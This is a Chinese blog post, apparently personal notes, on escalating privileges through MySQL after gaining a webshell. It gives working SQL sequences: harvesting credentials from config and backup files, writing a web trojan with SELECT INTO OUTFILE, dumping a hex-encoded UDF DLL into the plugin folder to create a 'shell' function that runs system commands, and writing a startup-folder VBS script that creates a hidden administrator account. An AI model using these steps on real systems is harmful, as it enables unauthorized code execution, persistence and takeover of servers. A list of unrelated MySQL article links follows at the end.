首页 > 数据库 >Mysql提权

Mysql提权

时间:2022-09-04 22:35:26浏览次数:92  
标签:文件 plugin into secist dll 提权 udf Mysql

跑项目久了,太久没做技术,好多东西不记得翻车了,好记性不如烂笔头吧。

场景:通过Webshell拿到了数据库的连接地址

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml

使用ultraedit、Editplus等编辑文件编辑数据库配置文件后,会留下bak文件,同样可以利用


1、常规select into outfile写木马

前置条件:有Web路径,secure_file_priv为空或指定路径为web路径

1.1  show global variables like 'secure%'    #查看是否有上传权限

1.2  select @@basedir     #查看mysql安装地址

1.3  select into oufile   #写木马文件

其中创建数据库导出一句话后门与该法差不多就不介绍了。


2、UDF提权

前置条件:secure_file_priv为空或指定路径包含/mysql/lib/plugin文件夹,对2008及以下机器效果更好

UDF全称user define function,允许用户加载自定义dll创建功能函数

select into dumpfile    #dumpfile对文件内容是原意写入,未做任何转移和增加,所以UDF提权中使用dumpfile进行dll文件写入

2.1 select version()    #查看版本

若版本小于5.1,需要将dll文件放到 C:\Windows\system32下,如果大于等于5.2,则需要将dll文件放在lib\plugin目录下才可以生效

2.2 SHOW VARIABLES LIKE '%plugin%'    #查看是否有plugins目录

浏览目录,发现没有lib路径的存在,需要使用NTFS ADS进行创建(在获取到shell的情况下,如果权限够,也可以使用webshell管理工具创建。)。sql

语句如下,这里测试失败,百度说是权限问题,给了everyone权限测试也失败,为了实验的继续进行,自行创建了plugin文件夹

2.3 上传tools_udf.dll至plugin

如果有权限,可以直接将文件上传至plugin文件夹下。

如果无权限,需创建表,将dll文件16进制编码后存入,再通过语法导出至plugin文件夹下,详细步骤如下:

select hex(load_file("C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\tools_udf.dll")) into DUMPFILE "C:\\udf.txt";    #将我们的dll文件以16进制形式存储,为了后续能存入我们新建的表

create table my_udf_data(data longblob);  #新建表

insert into my_udf_data values(udf文件的16进制格式); //在udftmp中写入udf.txt文件内容

select data from my_udf_data into dumpfile 'C:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\test.dll';  #将表里内容导出成dll文件

CREATE FUNCTION shell RETURNS STRING SONAME 'test.dll';

SELECT shell('cmd','whoami');

坑点:第三步udf文件的16进制除了记得加0x以外,千万别习惯性的加引号,这次复现因为加了引号调试了好久。

image-20220902015100771


3、mof提权

技术太古老了,常见于xp、2003机器。

4、写启动项木马

利用SQL命令进行vbs脚本的创建和添加

create table secist(cmd text);

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);

insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);

select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;

标签:文件,plugin,into,secist,dll,提权,udf,Mysql
From: https://www.cnblogs.com/sup3rman/p/16656356.html

相关文章

  • mysql备份恢复与迁移
    DBA职责1,设计备份策略全备增量时间自动2,日常备份检查备份存在性备份空间够用否3,定期恢复演练一个季度或者半年4,故障恢复通过现有备份,能够将数据库恢......
  • Navicat远程连接MySQL报错2059
    使用Navicat远程连接偶尔报错如下: 原因:mysql8之前的版本中加密规则是mysql_native_password,而在mysql8之后,加密规则是caching_sha2_password进入MySQL后台执行如下......
  • openEuler 22安装zabbix 4.0,提示无法安装zabbix-server-mysql和zabbix-web-mysql
    1.首先安装lamp环境作为zabbix的运行环境,也就是web展示界面环境dnfinstall-yhttpdmariadb-servermariadbphpphp-mysqlndphp-gdlibjpeg*php-ldapphp-odbcphp-p......
  • navicat连接远程数据库,mysql workbench导出数据表
    navicat连接远程数据库: mysqlworkbench导出数据表: ......
  • mysql 报错This function has none of DETERMINISTIC解决方案
    本文章向朋友们介绍开启bin-log日志mysql报错:ThisfunctionhasnoneofDETERMINISTIC,NOSQL解决办法,创建存储过程时出错信息:ERROR1418(HY000):Thisfunctionh......
  • 解决navicat连接mysql数据库报Client does not support..
    解决navicat连接mysql数据库报Clientdoesnotsupport...正在改BUG于2019-11-2521:05:35发布740收藏版权MySQL8.0的加密方式改变了,加密规则是caching_sha2_pas......
  • mysql
    服务器处理客户端请求:客户端进程向服务器进程发送一段文本(MySQL语句),服务器进程处理后再向客户端进程发送一段文本(处理结果)。流程:连接管理,解析与优化(查询缓存,语法解......
  • mysql索引优化
    一、分页查询优化很多时候我们业务系统实现分页功能可能会用如下sql实现:select*fromemployeeslimit10000,10;表示从表employees中取出从10001行开始的10行......
  • MySQL教程 - 触发器(Trigger)
    更新记录转载请注明出处。2022年9月4日发布。2022年9月4日从笔记迁移到博客。触发器说明一段SQL语句一种特殊的存储过程不可以自己手动调用,在触发条件下自动调......
  • MySQL教程 - 存储过程与自定义函数(Produce & Function)
    更新记录转载请注明出处。2022年9月4日发布。2022年9月4日从笔记迁移到博客。存储过程与函数说明存储过程和函数是一条或多条SQL语句的集合存储过程的返回值通......